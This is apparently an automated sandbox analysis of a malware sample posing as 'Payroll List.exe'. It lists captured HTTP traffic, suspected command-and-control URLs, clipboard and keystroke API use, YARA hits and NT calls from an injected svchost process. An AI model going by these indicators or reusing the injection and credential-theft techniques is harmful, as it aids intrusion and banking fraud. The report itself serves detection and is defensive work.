76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Fri, 22 Nov 2024 13:46:14 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:37 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:40 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:43 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:45 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:46:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 13:47:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0

Source: eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003B80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu
Source: eLiCpwzRIeWAs.exe, 00000007.00000002.3295460520.00000000052E3000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.telforce.one
Source: eLiCpwzRIeWAs.exe, 00000007.00000002.3295460520.00000000052E3000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.telforce.one/ykhz/
Source: ktmutil.exe, 00000006.00000002.3293451407.00000000037B4000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003214000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.0000000025CB4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://34.92.79.175:19817
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ktmutil.exe, 00000006.00000002.3293451407.00000000037B4000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003214000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.0000000025CB4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?cf95fa39f4a72ce6b85bbfbe9eadb95a
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: ktmutil.exe, 00000006.00000003.1933176968.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: ktmutil.exe, 00000006.00000002.3291580399.000000000282D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00176B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00176B0C

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00176D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00176D07

Source: C:\Users\user\Desktop\Payroll List.exe

0_2_00176B0C

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00162B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00162B37

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0018F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0018F7FF

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1734177353.0000000003760000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1733855292.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3292196090.0000000002900000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291497446.0000000000680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3292524183.0000000004FB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291358467.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3295460520.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1734536564.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00123D19
Source: Payroll List.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Payroll List.exe, 00000000.00000002.1434585931.00000000001CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_30df85fd-6
Source: Payroll List.exe, 00000000.00000002.1434585931.00000000001CE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d51a3dae-a
Source: Payroll List.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e6868272-d
Source: Payroll List.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_cd607bf1-7

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C883 NtClose,	2_2_0042C883
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972B60 NtClose,LdrInitializeThunk,	2_2_03972B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03972DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03972C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039735C0 NtCreateMutant,LdrInitializeThunk,	2_2_039735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03974340 NtSetContextThread,	2_2_03974340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03974650 NtSuspendThread,	2_2_03974650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972B80 NtQueryInformationFile,	2_2_03972B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972BA0 NtEnumerateValueKey,	2_2_03972BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972BF0 NtAllocateVirtualMemory,	2_2_03972BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972BE0 NtQueryValueKey,	2_2_03972BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972AB0 NtWaitForSingleObject,	2_2_03972AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972AD0 NtReadFile,	2_2_03972AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972AF0 NtWriteFile,	2_2_03972AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972F90 NtProtectVirtualMemory,	2_2_03972F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972FB0 NtResumeThread,	2_2_03972FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972FA0 NtQuerySection,	2_2_03972FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972FE0 NtCreateFile,	2_2_03972FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972F30 NtCreateSection,	2_2_03972F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972F60 NtCreateProcessEx,	2_2_03972F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972E80 NtReadVirtualMemory,	2_2_03972E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972EA0 NtAdjustPrivilegesToken,	2_2_03972EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972EE0 NtQueueApcThread,	2_2_03972EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972E30 NtWriteVirtualMemory,	2_2_03972E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972DB0 NtEnumerateKey,	2_2_03972DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972DD0 NtDelayExecution,	2_2_03972DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972D10 NtMapViewOfSection,	2_2_03972D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972D00 NtSetInformationFile,	2_2_03972D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972D30 NtUnmapViewOfSection,	2_2_03972D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972CA0 NtQueryInformationToken,	2_2_03972CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972CC0 NtQueryVirtualMemory,	2_2_03972CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972CF0 NtOpenProcess,	2_2_03972CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972C00 NtQueryInformationProcess,	2_2_03972C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03972C60 NtCreateKey,	2_2_03972C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03973090 NtSetValueKey,	2_2_03973090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03973010 NtOpenDirectoryObject,	2_2_03973010
